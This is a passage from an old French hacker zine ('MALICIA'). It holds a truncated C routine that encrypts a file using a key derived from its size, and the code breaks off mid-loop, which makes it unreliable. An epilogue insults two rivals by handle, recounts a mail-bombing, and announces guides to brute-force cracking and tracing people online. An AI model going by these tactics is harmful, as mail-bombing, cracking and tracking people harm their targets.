SI LE FICHIER N'EST PAS TROP PETIT OU PAS TROP GRAND if(taille==64000||taille<100) { printf("Can't crypt this file, it's too big or too small...\n"); exit(1); } //ALLOUE AUTANT DE MEMOIRE QUE D'OCTECTS DANS LE FICHIER buffer=(unsigned char *)malloc(taille); if(buffer==NULL) { printf("Can't allocate enought memory...\n"); exit(1); } printf("I'm crypting master...\n"); //NE GARDE QUE L'OCTECT LE PLUS BAS DE LA TAILLE(0-255) crypting_index=taille&0xFF; //ET L'AJOUTTE A CRYPT(33) crypt+=(unsigned char)crypting_index; //LE CRYPTAGE SE DEROULE ICI for(index=0;index ****************************************************************************** * MM MM AA L I CCCCCC I AA * * M M M M A A L I C I A A * * M M M M AAAAAA L I C I AAAAAA * * M MM M A A LLLLL I CCCCCC I A A * ****************************************************************************** ******** "Epilogue" ******** Et oui c deja finit :). Mais rassurez vous je met le paquet et pis un nouveau zine va sortir dans qques temps =). Et puis un truc, je voudrais passer un message … Bond007 et Psykaos....ces 2 imb‚ciles on traiter le groupe PHC, le groupe que j'avais cr‚er, de groupe de lamerz...il est vrais que nous n'‚tions pas particulŠrement bons(mis … part moi :)) mais je trouve con qu'ils nous aient jug‚s alors que nous n'avions pas sortis le zine...de plus ce ptit imb‚cile de Bond007 m'a mail-bomb‚!!! Enfin pour enlever tout ces mails ‡a m'a prit 2 clicks :)) mais l'important n'est pas l…! J'ai pu me rendre compte que Bond007 ‚tait un ‚norme Lamerz car le premier mail qu'il m'a envoy‚ contenait sa vrais adresse e-mail....j'aurais donc pu le bomber mais je ne suis pas un d‚bile comme lui :). Enfin bon si vous voyez un de ces 2 ptits cons vous l'insulterez de ma part ;). Mis … part ‡a je pr‚pare qques articles interessants...comment faire un brute force cracker, comment tracer qqun sur le web et trouver qu'y il est reelement et pis la suite sur les cours asm et de tauping en autre..... voil… ‡a vous met l'eau … la bouche non :)? Billou Le SaTaNiK http://members.xoom.org/SaTaNoS/